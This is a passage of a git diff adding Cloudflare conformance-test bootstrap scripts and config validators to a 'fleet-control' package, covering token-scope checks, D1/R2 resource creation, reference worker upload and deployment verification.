+      policy.permission_groups.map((group) => {
+        object(group);
+        identifier(group.id);
+        if (group.name !== undefined) identifier(group.name);
+        return group.name;
+      }),
+    );
+    const resources = object(policy.resources);
+    if (Object.keys(resources).length === 0) refuse();
+    for (const [key, access] of Object.entries(resources)) {
+      identifier(key, 256);
+      if (typeof access === 'string') identifier(access, 256);
+      else {
+        object(access);
+        if (Object.keys(access).length === 0) refuse();
+        for (const [nested, value] of Object.entries(access)) {
+          identifier(nested, 256);
+          identifier(value, 256);
+        }
+      }
+    }
+    const account = resources[`com.cloudflare.api.account.${accountId}`];
+    const coversAll =
+      resources['com.cloudflare.api.account.zone.*'] === '*' ||
+      (typeof account === 'object' &&
+        account?.['com.cloudflare.api.account.zone.*'] === '*');
+    const restricts = Object.entries(resources).some(
+      ([key, access]) =>
+        (key.startsWith('com.cloudflare.api.account.zone.') &&
+          access === '*') ||
+        (key === `com.cloudflare.api.account.${accountId}` &&
+          typeof access === 'object' &&
+          Object.keys(access).some((nested) =>
+            nested.startsWith('com.cloudflare.api.account.zone.'),
+          )),
+    );
+    for (const [index, alternatives] of required.entries()) {
+      if (!alternatives.some((name) => names.has(name))) continue;
+      if (policy.effect === 'deny' && restricts) refuse();
+      if (policy.effect === 'allow' && coversAll) allowed.add(index);
+    }
+  }
+  if (allowed.size !== required.length) refuse();
+}
+
+async function attestToken(sdk, accountId, APIError) {
+  for (const family of ['account', 'user']) {
+    let verified;
+    let token;
+    try {
+      verified =
+        family === 'account'
+          ? await sdk.accounts.tokens.verify({ account_id: accountId })
+          : await sdk.user.tokens.verify();
+      identifier(verified.id);
+      if (verified.status !== 'active') refuse();
+      token =
+        family === 'account'
+          ? await sdk.accounts.tokens.get(verified.id, {
+              account_id: accountId,
+            })
+          : await sdk.user.tokens.get(verified.id);
+    } catch (error) {
+      if (
+        family === 'account' &&
+        error instanceof APIError &&
+        ([401, 403, 404, 405, 429].includes(error.status) ||
+          (error.status >= 500 && error.status <= 599))
+      )
+        continue;
+      throw error;
+    }
+    assertZonePolicy(token, verified.id, accountId);
+    return;
+  }
+}
+
+function d1Receipt(value, name, uuid) {
+  object(value);
+  identifier(value.uuid);
+  identifier(value.name);
+  if (value.name !== name || (uuid !== undefined && value.uuid !== uuid))
+    refuse();
+  return { uuid: value.uuid, name };
+}
+
+function r2Receipt(value, name) {
+  object(value);
+  if (
+    value.name !== name ||
+    (value.jurisdiction !== undefined && value.jurisdiction !== 'default') ||
+    typeof value.creation_date !== 'string' ||
+    value.creation_date.length > 64 ||
+    !Number.isFinite(Date.parse(value.creation_date))
+  )
+    refuse();
+  return {
+    name,
+    jurisdiction: 'default',
+    creationDate: new Date(value.creation_date).toISOString(),
+  };
+}
+
+async function assertAbsent(request, APIError) {
+  let response;
+  try {
+    response = await request.asResponse();
+    if (response.status === 200) refuse('name-collision');
+    refuse('provider-unavailable');
+  } catch (error) {
+    if (error instanceof APIError && error.status === 404) return;
+    throw error;
+  } finally {
+    cancel(response);
+  }
+}
+
+export async function bootstrapDirectConformance(input) {
+  const { prepared, journal, accountId, apiToken, invokeSecret, fetchRequest } =
+    await checkedInput(input);
+  let transport;
+  try {
+    const session = await openDirectProviderSession({
+      apiToken,
+      fetchRequest,
+      timeoutMs: prepared.config.referenceWorker.requestTimeoutMs,
+    });
+    transport = session.transport;
+    const { sdk, numbered, single, status, APIError, bound } = session;
+    const selectors = { account_id: accountId };
+    const names = prepared.names;
+    if ((await sdk.accounts.get(selectors)).id !== accountId) refuse();
+    const subdomain = (await sdk.workers.subdomains.get(selectors)).subdomain;
+    if (
+      typeof subdomain !== 'string' ||
+      !/^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u.test(subdomain)
+    )
+      refuse();
+    await attestToken(sdk, accountId, APIError);
+    const zones = await inventory(
+      numbered.zones.list({
+        account: { id: accountId },
+        per_page: 50,
+      }),
+      (row) => zone(row, accountId),
+      bound,
+    );
+    const matches = zones
+      .filter((row) => ZONE_TYPES.includes(row.type))
+      .filter(
+        (row) =>
+          prepared.config.ownedHostname === row.name ||
+          prepared.config.ownedHostname.endsWith(`.${row.name}`),
+      )
+      .sort((a, b) => b.name.length - a.name.length);
+    if (
+      !matches[0] ||
+      (matches[1] && matches[0].name.length === matches[1].name.length)
+    )
+      refuse();
+    const selectedZone = await sdk.zones.get({ zone_id: matches[0].id });
+    zone(selectedZone, accountId);
+    if (
+      selectedZone.id !== matches[0].id ||
+      selectedZone.name !== matches[0].name ||
+      !ZONE_TYPES.includes(selectedZone.type)
+    )
+      refuse();
+    const namespaces = await classifyDispatchNamespaces(
+      single,
+      selectors,
+      bound,
+    );
+    const dispatch = { kind: namespaces.kind, count: namespaces.count };
+    await journal.bindBootstrapContext({
+      names,
+      zoneId: selectedZone.id,
+      zoneName: selectedZone.name,
+      accountWorkersDevSubdomain: subdomain,
+      dispatch,
+    });
+    const workerAbsent = () =>
+      assertAbsent(
+        status.workers.scripts.get(names.referenceWorker, selectors),
+        APIError,
+      );
+    const bucketAbsent = () =>
+      assertAbsent(
+        status.r2.buckets.get(names.exportBucket, {
+          ...selectors,
+          jurisdiction: 'default',
+        }),
+        APIError,
+      );
+    const databaseAbsent = async (name) => {
+      const rows = await inventory(
+        numbered.d1.database.list({ ...selectors, name, per_page: 100 }),
+        (row) => {
+          identifier(row.name);
+          return [identifier(row.uuid)];
+        },
+        bound,
+      );
+      if (rows.some((row) => row.name === name)) refuse('name-collision');
+    };
+    let state = journal.snapshot().bootstrap;
+    if (!state.upload) await workerAbsent();
+    if (!state.exports) await bucketAbsent();
+    for (const [field, name] of [
+      ['fleet', names.fleetDatabase],
+      ['quota', names.quotaDatabase],
+    ]) {
+      const receipt = state[field];
+      if (receipt)
+        d1Receipt(
+          await sdk.d1.database.get(receipt.uuid, selectors),
+          name,
+          receipt.uuid,
+        );
+      else await databaseAbsent(name);
+    }
+    if (state.exports)
+      equal(
+        r2Receipt(
+          await sdk.r2.buckets.get(names.exportBucket, {
+            ...selectors,
+            jurisdiction: 'default',
+          }),
+          names.exportBucket,
+        ),
+        state.exports,
+      );
+    const mutate = async (kind, dispatchMutation, receipt) => {
+      transport.assertBudget();
+      await journal.beginBootstrapMutation(kind);
+      let detail = 'transport-failure';
+      try {
+        const value = await dispatchMutation();
+        detail = 'non-contract-answer';
+        const confirmed = receipt(value);
+        detail = undefined;
+        await journal.confirmBootstrapMutation({ kind, receipt: confirmed });
+      } catch (error) {
+        if (
+          detail === 'transport-failure' &&
+          error instanceof APIError &&
+          error.status !== undefined
+        ) {
+          const headers = error.headers;
+          const mediaType = headers
+            ?.get('content-type')
+            ?.split(';')[0]
+            ?.trim()
+            .toLowerCase();
+          detail =
+            (mediaType === 'text/plain' || mediaType === 'text/html') &&
+            headers.get('cache-control') !== 'no-store' &&
+            !headers.has('www-authenticate')
+              ? 'platform-page'
+              : 'non-contract-answer';
+        }
+        refuse('outcome-unknown', detail);
+      }
+    };
+    for (const [field, name, kind] of [
+      ['fleet', names.fleetDatabase, 'create-fleet-d1'],
+      ['quota', names.quotaDatabase, 'create-quota-d1'],
+    ]) {
+      if (journal.snapshot().bootstrap[field]) continue;
+      await databaseAbsent(name);
+      await mutate(
+        kind,
+        () => sdk.d1.database.create({ ...selectors, name }, { maxRetries: 0 }),
+        (value) => d1Receipt(value, name),
+      );
+    }
+    if (!state.exports) {
+      await bucketAbsent();
+      await mutate(
+        'create-export-r2',
+        () =>
+          sdk.r2.buckets.create(
+            { ...selectors, name: names.exportBucket, jurisdiction: 'default' },
+            { maxRetries: 0 },
+          ),
+        (value) => r2Receipt(value, names.exportBucket),
+      );
+    }
+    state = journal.snapshot().bootstrap;
+    const runBinding = {
+      version: 1,
+      accountId,
+      fleetDatabaseId: state.fleet.uuid,
+      quotaDatabaseId: state.quota.uuid,
+      exportBucketName: state.exports.name,
+      referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+      accountWorkersDevSubdomain: subdomain,
+    };
+    const bindings = [
+      { name: 'FLEET_DB', type: 'd1', database_id: state.fleet.uuid },
+      { name: 'QUOTA_DB', type: 'd1', database_id: state.quota.uuid },
+      { name: 'EXPORTS', type: 'r2_bucket', bucket_name: state.exports.name },
+      {
+        name: 'DIRECT_RUN_BINDING',
+        type: 'plain_text',
+        text: JSON.stringify(runBinding),
+      },
+    ];
+    if (!state.upload) {
+      await workerAbsent();
+      const { generateDirectDeploymentSecrets } = await import(
+        './direct-credentialed-spec.ts'
+      );
+      const { namedWorkerUploadBody } = await import(
+        '../src/cloudflare-worker-upload.ts'
+      );
+      const { toFile } = await import('cloudflare/uploads');
+      const secrets = {
+        a: generateDirectDeploymentSecrets(),
+        b: generateDirectDeploymentSecrets(),
+        recovery: generateDirectDeploymentSecrets(),
+      };
+      const values = [apiToken, invokeSecret, JSON.stringify(secrets)];
+      const runtime = prepared.config.referenceWorker;
+      const metadata = JSON.stringify({
+        main_module: runtime.artifact.mainModule,
+        compatibility_date: runtime.compatibilityDate,
+        compatibility_flags: runtime.compatibilityFlags,
+        limits: {
+          cpu_ms: runtime.cpuLimitMs,
+          subrequests: runtime.subrequestLimit,
+        },
+        bindings: [
+          ...bindings,
+          ...REFERENCE_SECRET_NAMES.map((name, index) => ({
+            name,
+            type: 'secret_text',
+            text: values[index],
+          })),
+        ],
+      });
+      const files = await Promise.all(
+        prepared.referenceModules.map((module) =>
+          toFile(
+            module.contentType === 'application/wasm'
+              ? Buffer.from(module.base64, 'base64')
+              : Buffer.from(module.source),
+            module.name,
+            { type: module.contentType },
+          ),
+        ),
+      );
+      await mutate(
+        'upload-reference',
+        () =>
+          sdk.workers.scripts.update(
+            names.referenceWorker,
+            { ...selectors, metadata },
+            {
+              maxRetries: 0,
+              body: namedWorkerUploadBody(files, metadata),
+              headers: { 'Content-Type': null },
+            },
+          ),
+        (value) => {
+          if (value.id !== undefined && value.id !== names.referenceWorker)
+            refuse();
+          return {
+            scriptName: names.referenceWorker,
+            tag: value.tag === undefined ? null : identifier(value.tag),
+            etag: value.etag === undefined ? null : identifier(value.etag),
+          };
+        },
+      );
+    }
+    state = journal.snapshot().bootstrap;
+    if (state.upload.tag !== null) {
+      const scripts = await inventory(
+        single.workers.scripts.list(selectors),
+        (row) => {
+          if (row.tag !== undefined) identifier(row.tag);
+          return [identifier(row.id)];
+        },
+        bound,
+      );
+      if (
+        scripts.find((row) => row.id === names.referenceWorker)?.tag !==
+        state.upload.tag
+      )
+        refuse();
+    }
+    const { exactActiveVersionId } = await import('../src/active-route.ts');
+    const deployments = (
+      await sdk.workers.scripts.deployments.list(
+        names.referenceWorker,
+        selectors,
+      )
+    ).deployments;
+    if (
+      !Array.isArray(deployments) ||
+      deployments.length === 0 ||
+      deployments.length > bound
+    )
+      refuse();
+    const current = deployments[0];
+    identifier(current.id);
+    const activeVersion = (value) => {
+      try {
+        return identifier(exactActiveVersionId(value, 'reference'));
+      } catch {
+        refuse();
+      }
+    };
+    const versionId = activeVersion(current);
+    const active = { deploymentId: current.id, versionId };
+    if (state.active) equal(active, state.active);
+    const deployment = await sdk.workers.scripts.deployments.get(
+      active.deploymentId,
+      { ...selectors, script_name: names.referenceWorker },
+    );
+    if (
+      deployment.id !== active.deploymentId ||
+      activeVersion(deployment) !== versionId
+    )
+      refuse();
+    const version = await sdk.workers.scripts.versions.get(versionId, {
+      ...selectors,
+      script_name: names.referenceWorker,
+    });
+    if (version.id !== versionId) refuse();
+    const runtime = prepared.config.referenceWorker;
+    const checkRuntime = (value) => {
+      if (
+        value?.compatibility_date !== runtime.compatibilityDate ||
+        value?.limits?.cpu_ms !== runtime.cpuLimitMs
+      )
+        refuse();
+      // The version resource omits compatibility_flags when the list is empty.
+      equal(
+        value.compatibility_flags === undefined
+          ? []
+          : value.compatibility_flags,
+        runtime.compatibilityFlags,
+      );
+    };
+    checkRuntime(version.resources?.script_runtime);
+    const { providerBindingsToPlainWorkerShape } = await import(
+      '../src/provider-binding-inventory.ts'
+    );
+    const expectedBindings = providerBindingsToPlainWorkerShape([
+      ...bindings,
+      ...REFERENCE_SECRET_NAMES.map((name) => ({ name, type: 'secret_text' })),
+    ]).sort((a, b) => a.name.localeCompare(b.name));
+    const checkBindings = (value) => {
+      if (!Array.isArray(value)) refuse();
+      const observed = providerBindingsToPlainWorkerShape(value);
+      if (
+        observed.some(
+          (binding) =>
+            binding.type === 'unsupported' || typeof binding.name !== 'string',
+        )
+      )
+        refuse();
+      equal(
+        observed.sort((a, b) => a.name.localeCompare(b.name)),
+        expectedBindings,
+      );
+    };
+    checkBindings(version.resources?.bindings);
+    const settings = await sdk.workers.scripts.scriptAndVersionSettings.get(
+      names.referenceWorker,
+      selectors,
+    );
+    checkRuntime(settings);
+    checkBindings(settings.bindings);
+    if (settings.limits.subrequests !== runtime.subrequestLimit) refuse();
+    await journal.recordBootstrapObservation({ kind: 'active', ...active });
+    const checkIngress = (value) => {
+      if (value.enabled !== true || value.previews_enabled !== false) refuse();
+      return { enabled: true, previewsEnabled: false };
+    };
+    if (!journal.snapshot().bootstrap.ingress)
+      await mutate(
+        'enable-reference-ingress',
+        () =>
+          sdk.workers.scripts.subdomain.create(
+            names.referenceWorker,
+            { ...selectors, enabled: true, previews_enabled: false },
+            { maxRetries: 0 },
+          ),
+        checkIngress,
+      );
+    checkIngress(
+      await sdk.workers.scripts.subdomain.get(names.referenceWorker, selectors),
+    );
+    const { awaitReferenceIngress, createDirectInvocationClient } =
+      await import('./direct-credentialed-invocation.mjs');
+    if (
+      !(await awaitReferenceIngress({
+        prepared,
+        accountWorkersDevSubdomain: subdomain,
+        fetch: fetchRequest,
+      }))
+    )
+      refuse('provider-unavailable');
+    const client = createDirectInvocationClient({
+      prepared,
+      journal,
+      accountWorkersDevSubdomain: subdomain,
+      invokeSecret,
+      fetch: input.fetch,
+    });
+    const observed = await client.invoke({ kind: 'control-read' });
+    equal(observed.result?.binding, runBinding);
+    await journal.recordBootstrapObservation({
+      kind: 'control-read',
+      ordinal: journal.snapshot().lastInvocation.ordinal,
+    });
+    return client;
+  } catch (error) {
+    if (error instanceof DirectBootstrapError) throw error;
+    if (error instanceof DirectProviderError) refuse(error.code);
+    if (error instanceof DirectRunStateError)
+      refuse(error.code === 'outcome-unknown' ? error.code : 'invalid-input');
+    if (transport?.failure()) refuse(transport.failure());
+    if (error?.name === 'DirectInvocationError' && ERROR_CODES.has(error.code))
+      refuse(error.code, error.detail);
+    refuse('provider-unavailable');
+  } finally {
+    transport?.close();
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts
new file mode 100644
index 00000000..811c3aaa
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts
@@ -0,0 +1,81 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const DIRECT_CONFORMANCE_CONTRACT_VERSION: 1;
+
+/**
+ * One DNS label: 1-63 characters, alphanumeric at both ends. The configured
+ * host and a journalled route hostname are both built on it.
+ */
+export const DNS_LABEL: RegExp;
+
+export interface DirectAuxiliaryWasmIntent {
+  readonly file: string;
+  readonly name: string;
+  readonly sha256: string;
+}
+
+export interface DirectArtifactIntent {
+  readonly bundle: string;
+  readonly mainModule: string;
+  readonly sha256: string;
+  readonly auxiliaryWasm?: readonly DirectAuxiliaryWasmIntent[];
+}
+
+export interface DirectRuntimeIntent {
+  readonly artifact: DirectArtifactIntent;
+  readonly compatibilityDate: string;
+  readonly compatibilityFlags:
+    | readonly []
+    | readonly ['nodejs_compat']
+    | readonly ['global_fetch_strictly_public']
+    | readonly ['nodejs_compat', 'global_fetch_strictly_public'];
+  readonly cpuLimitMs: number;
+  readonly subrequestLimit: number;
+}
+
+export interface DirectConformanceConfig {
+  readonly contractVersion: 1;
+  readonly disposableAccount: boolean;
+  readonly resourcePrefix: string;
+  readonly environment: string;
+  readonly ownedHostname: string;
+  readonly referenceWorker: DirectRuntimeIntent &
+    Readonly<{
+      requestTimeoutMs: number;
+      invocationTimeoutMs: number;
+      maxProviderRequests: number;
+      maxInvocations: number;
+    }>;
+  readonly deployment: DirectRuntimeIntent &
+    Readonly<{
+      spec: Readonly<{ fixtureVersion: 1 }>;
+    }>;
+  readonly interruption: 'after-migration-admission';
+}
+
+export interface DirectDeploymentNames {
+  readonly tenantTag: string;
+  readonly scriptName: string;
+  readonly databaseName: string;
+  readonly routeHostname: string;
+}
+
+export interface DirectConformanceNames {
+  readonly referenceWorker: string;
+  readonly fleetDatabase: string;
+  readonly quotaDatabase: string;
+  readonly exportBucket: string;
+  readonly referenceHostname: string;
+  readonly roles: Readonly<
+    Record<'a' | 'b' | 'recovery', DirectDeploymentNames>
+  >;
+}
+
+export function validateDirectConformanceConfig(
+  value: unknown,
+  options?: Readonly<{ now?: number }>,
+): DirectConformanceConfig;
+
+export function deriveDirectConformanceNames(
+  config: Pick<DirectConformanceConfig, 'resourcePrefix' | 'ownedHostname'>,
+): DirectConformanceNames;
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs
new file mode 100644
index 00000000..50928415
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs
@@ -0,0 +1,319 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  DEPLOYMENT_TAG_PATTERN,
+  isDeploymentEnvironment,
+} from '@proofoftech/flowsafe/deployment-identity-protocol';
+import { isPortablePathSegment } from '../src/export-file-name.ts';
+import { cloneBoundedPlainData } from '../src/strict-plain-data.ts';
+
+export const DIRECT_CONFORMANCE_CONTRACT_VERSION = 1;
+
+const PREFIX = /^fc[a-f0-9]{24}$/u;
+const DIGEST = /^[a-f0-9]{64}$/u;
+const DATE = /^\d{4}-\d{2}-\d{2}$/u;
+/**
+ * One DNS label: 1-63 characters, alphanumeric at both ends. `hostname` below
+ * applies it to a configured host, and the run journal applies it to a recorded
+ * route hostname, so the label grammar has one definition. The pattern carries
+ * no `g` flag and holds no state, so both readers can test against it.
+ */
+export const DNS_LABEL = /^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u;
+const RUNTIME_KEYS = [
+  'artifact',
+  'compatibilityDate',
+  'compatibilityFlags',
+  'cpuLimitMs',
+  'subrequestLimit',
+];
+
+function invalid(field) {
+  return new Error(`direct conformance config has invalid ${field}`);
+}
+
+function object(value, keys, field) {
+  if (
+    !value ||
+    typeof value !== 'object' ||
+    Array.isArray(value) ||
+    Object.keys(value).length !== keys.length ||
+    keys.some((key) => !Object.hasOwn(value, key))
+  )
+    throw invalid(field);
+  return value;
+}
+
+function string(value, field) {
+  if (typeof value !== 'string' || value.length === 0 || value.includes('\0'))
+    throw invalid(field);
+  return value;
+}
+
+function integer(value, maximum, field) {
+  if (!Number.isSafeInteger(value) || value < 1 || value > maximum)
+    throw invalid(field);
+  return value;
+}
+
+function hostname(value, field) {
+  const host = string(value, field);
+  const labels = host.split('.');
+  if (
+    host.length > 253 ||
+    labels.length < 2 ||
+    labels.some((label) => !DNS_LABEL.test(label)) ||
+    !/[a-z]/u.test(host)
+  )
+    throw invalid(field);
+  let url;
+  try {
+    url = new URL(`https://${host}`);
+  } catch {
+    throw invalid(field);
+  }
+  if (url.hostname !== host) throw invalid(field);
+  return host;
+}
+
+function artifact(value, field) {
+  const keys = ['bundle', 'mainModule', 'sha256'];
+  if (
+    value &&
+    typeof value === 'object' &&
+    Object.hasOwn(value, 'auxiliaryWasm')
+  )
+    keys.push('auxiliaryWasm');
+  const input = object(value, keys, field);
+  const bundle = string(input.bundle, `${field}.bundle`);
+  const mainModule = string(input.mainModule, `${field}.mainModule`);
+  if (
+    mainModule.length > 255 ||
+    !isPortablePathSegment(mainModule) ||
+    !/\.m?js$/u.test(mainModule)
+  )
+    throw invalid(`${field}.mainModule`);
+  if (typeof input.sha256 !== 'string' || !DIGEST.test(input.sha256))
+    throw invalid(`${field}.sha256`);
+  let auxiliaryWasm;
+  if (Object.hasOwn(input, 'auxiliaryWasm')) {
+    if (!Array.isArray(input.auxiliaryWasm))
+      throw invalid(`${field}.auxiliaryWasm`);
+    const names = new Set([mainModule]);
+    auxiliaryWasm = Object.freeze(
+      input.auxiliaryWasm.map((value) => {
+        const descriptor = object(
+          value,
+          ['file', 'name', 'sha256'],
+          `${field}.auxiliaryWasm`,
+        );
+        const file = string(descriptor.file, `${field}.auxiliaryWasm.file`);
+        const name = string(descriptor.name, `${field}.auxiliaryWasm.name`);
+        if (
+          name.length > 255 ||
+          !isPortablePathSegment(name) ||
+          !name.endsWith('.wasm') ||
+          names.has(name)
+        )
+          throw invalid(`${field}.auxiliaryWasm.name`);
+        if (
+          typeof descriptor.sha256 !== 'string' ||
+          !DIGEST.test(descriptor.sha256)
+        )
+          throw invalid(`${field}.auxiliaryWasm.sha256`);
+        names.add(name);
+        return Object.freeze({ file, name, sha256: descriptor.sha256 });
+      }),
+    );
+  }
+  return Object.freeze({
+    bundle,
+    mainModule,
+    sha256: input.sha256,
+    ...(auxiliaryWasm === undefined ? {} : { auxiliaryWasm }),
+  });
+}
+
+function runtime(input, field, today) {
+  const date = string(input.compatibilityDate, `${field}.compatibilityDate`);
+  let actualDate;
+  try {
+    actualDate = new Date(`${date}T00:00:00.000Z`).toISOString().slice(0, 10);
+  } catch {
+    throw invalid(`${field}.compatibilityDate`);
+  }
+  if (
+    !DATE.test(date) ||
+    actualDate !== date ||
+    date < '2026-08-04' ||
+    date > today
+  )
+    throw invalid(`${field}.compatibilityDate`);
+  const flags = input.compatibilityFlags;
+  if (
+    !Array.isArray(flags) ||
+    !(
+      flags.length === 0 ||
+      (flags.length === 1 &&
+        (flags[0] === 'nodejs_compat' ||
+          flags[0] === 'global_fetch_strictly_public')) ||
+      (flags.length === 2 &&
+        flags[0] === 'nodejs_compat' &&
+        flags[1] === 'global_fetch_strictly_public')
+    )
+  )
+    throw invalid(`${field}.compatibilityFlags`);
+  return {
+    artifact: artifact(input.artifact, `${field}.artifact`),
+    compatibilityDate: date,
+    compatibilityFlags: Object.freeze([...flags]),
+    cpuLimitMs: integer(input.cpuLimitMs, 300_000, `${field}.cpuLimitMs`),
+    subrequestLimit: integer(
+      input.subrequestLimit,
+      10_000_000,
+      `${field}.subrequestLimit`,
+    ),
+  };
+}
+
+export function deriveDirectConformanceNames(config) {
+  const prefix = string(config.resourcePrefix, 'resourcePrefix');
+  if (!PREFIX.test(prefix)) throw invalid('resourcePrefix');
+  const ownedHostname = hostname(config.ownedHostname, 'ownedHostname');
+  const roles = {};
+  for (const [role, suffix] of [
+    ['a', 'a'],
+    ['b', 'b'],
+    ['recovery', 'r'],
+  ]) {
+    const tenantTag = `${prefix}${suffix}`;
+    if (!DEPLOYMENT_TAG_PATTERN.test(tenantTag))
+      throw invalid('derived tenant tag');
+    const name = `${prefix}-tenant-${role}`;
+    roles[role] = Object.freeze({
+      tenantTag,
+      scriptName: name,
+      databaseName: name,
+      routeHostname: hostname(`${name}.${ownedHostname}`, 'derived hostname'),
+    });
+  }
+  return Object.freeze({
+    referenceWorker: `${prefix}-reference`,
+    fleetDatabase: `${prefix}-fleet`,
+    quotaDatabase: `${prefix}-quota`,
+    exportBucket: `${prefix}-exports`,
+    referenceHostname: hostname(
+      `${prefix}-reference.${ownedHostname}`,
+      'derived reference hostname',
+    ),
+    roles: Object.freeze(roles),
+  });
+}
+
+export function validateDirectConformanceConfig(value, options = {}) {
+  const input = object(
+    cloneBoundedPlainData(value, {
+      maxDepth: 8,
+      maxNodes: 512,
+      maxScalarBytes: 256 * 1024,
+      maxSerializedBytes: 256 * 1024,
+      error: () => invalid('plain JSON data'),
+    }),
+    [
+      'contractVersion',
+      'disposableAccount',
+      'resourcePrefix',
+      'environment',
+      'ownedHostname',
+      'referenceWorker',
+      'deployment',
+      'interruption',
+    ],
+    'root',
+  );
+  if (input.contractVersion !== DIRECT_CONFORMANCE_CONTRACT_VERSION)
+    throw invalid('contractVersion');
+  // `disposableAccount: true` is an assertion about the account, not about the
+  // run: teardown records a global count on the surfaces it scans, queues
+  // among them, so a resource the account already held there is read as a
+  // residual this run failed to remove.
+  if (typeof input.disposableAccount !== 'boolean')
+    throw invalid('disposableAccount');
+  const environment = string(input.environment, 'environment');
+  if (!isDeploymentEnvironment(environment)) throw invalid('environment');
+  if (input.interruption !== 'after-migration-admission')
+    throw invalid('interruption');
+  let today;
+  try {
+    today = new Date(options.now ?? Date.now()).toISOString().slice(0, 10);
+  } catch {
+    throw invalid('clock');
+  }
+  const reference = object(
+    input.referenceWorker,
+    [
+      ...RUNTIME_KEYS,
+      'requestTimeoutMs',
+      'invocationTimeoutMs',
+      'maxProviderRequests',
+      'maxInvocations',
+    ],
+    'referenceWorker',
+  );
+  const referenceRuntime = runtime(reference, 'referenceWorker', today);
+  if (
+    !referenceRuntime.compatibilityFlags.includes(
+      'global_fetch_strictly_public',
+    )
+  )
+    throw invalid('referenceWorker.compatibilityFlags');
+  if (referenceRuntime.artifact.mainModule === 'direct-run-manifest.js')
+    throw invalid('referenceWorker.artifact.mainModule');
+  const maxProviderRequests = integer(
+    reference.maxProviderRequests,
+    1_000,
+    'referenceWorker.maxProviderRequests',
+  );
+  if (maxProviderRequests < 9)
+    throw invalid('referenceWorker.maxProviderRequests');
+  const deployment = object(
+    input.deployment,
+    [...RUNTIME_KEYS, 'spec'],
+    'deployment',
+  );
+  const spec = object(deployment.spec, ['fixtureVersion'], 'deployment.spec');
+  if (spec.fixtureVersion !== 1)
+    throw invalid('deployment.spec.fixtureVersion');
+  const result = Object.freeze({
+    contractVersion: DIRECT_CONFORMANCE_CONTRACT_VERSION,
+    disposableAccount: input.disposableAccount,
+    resourcePrefix: string(input.resourcePrefix, 'resourcePrefix'),
+    environment,
+    ownedHostname: hostname(input.ownedHostname, 'ownedHostname'),
+    referenceWorker: Object.freeze({
+      ...referenceRuntime,
+      requestTimeoutMs: integer(
+        reference.requestTimeoutMs,
+        2_147_483_647,
+        'referenceWorker.requestTimeoutMs',
+      ),
+      invocationTimeoutMs: integer(
+        reference.invocationTimeoutMs,
+        2_147_483_647,
+        'referenceWorker.invocationTimeoutMs',
+      ),
+      maxProviderRequests,
+      maxInvocations: integer(
+        reference.maxInvocations,
+        Number.MAX_SAFE_INTEGER,
+        'referenceWorker.maxInvocations',
+      ),
+    }),
+    deployment: Object.freeze({
+      ...runtime(deployment, 'deployment', today),
+      spec: Object.freeze({ fixtureVersion: 1 }),
+    }),
+    interruption: input.interruption,
+  });
+  deriveDirectConformanceNames(result);
+  return result;
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts
new file mode 100644
index 00000000..bdcc70d7
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.d.mts
@@ -0,0 +1,3 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const DIRECT_MAX_UPLOAD_BYTES: number;
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs
new file mode 100644
index 00000000..b8d1f4b6
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-limits.mjs
@@ -0,0 +1,3 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const DIRECT_MAX_UPLOAD_BYTES = 64 * 1024 * 1024;
diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts
new file mode 100644
index 00000000..97704f24
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-conformance-preflight.d.mts
@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  DirectConformanceConfig,
+  DirectConformanceNames,
+  DirectRuntimeIntent,
+} from './direct-credentialed-conformance-config.mjs';
+
+export const DIRECT_MANIFEST_MODULE: 'direct-run-manifest.js';
+export const DIRECT_MAX_UPLOAD_BYTES: number;
+
+export interface DirectModuleSnapshot {
+  readonly name: string;
+  readonly source: string;
+  readonly contentType: 'application/javascript+module';
+  readonly byteLength: number;
+  readonly sha256: string;
+}
+
+export interface DirectWasmSnapshot {
+  readonly name: string;
+  readonly base64: string;
+  readonly contentType: 'application/wasm';
+  readonly byteLength: number;
+  readonly sha256: string;
+}
+
+export interface DirectRunManifest {
+  readonly contractVersion: 1;
+  readonly configSha256: string;
+  readonly resourcePrefix: string;
+  readonly environment: string;
+  readonly names: DirectConformanceNames;
+  readonly referenceRuntime: Omit<
+    DirectConformanceConfig['referenceWorker'],
+    'artifact'
+  >;
+  readonly deploymentRuntime: Omit<DirectRuntimeIntent, 'artifact'>;
+  readonly tenantModule: DirectModuleSnapshot;
+  readonly tenantWasm: readonly DirectWasmSnapshot[];
+  readonly fixtureVersion: 1;
+  readonly interruption: 'after-migration-admission';
+}
+
+export interface PreparedDirectConformance {
+  readonly config: DirectConformanceConfig;
+  readonly names: DirectConformanceNames;
+  readonly configSha256: string;
+  readonly manifest: DirectRunManifest;
+  readonly referenceModules: readonly [
+    DirectModuleSnapshot,
+    DirectModuleSnapshot,
+    ...DirectWasmSnapshot[],
+  ];
+  readonly referenceUploadBytes: number;
+  readonly referenceModuleSetSha256: string;
+}
+
+export function readDirectConformanceConfig(
+  input: Readonly<{
+    configPath: string;
+    now?: number;
+  }>,
+): Promise<
+  Readonly<{
+    configPath: string;
+    configBytes: Uint8Array;
+    config: DirectConformanceConfig;
+  }>
+>;
+
+export function preflightDirectConformance(
+  input: Readonly<{
+    configPath: string;
+    now?: number;
+  }>,
+): Promise<PreparedDirectConformance>;
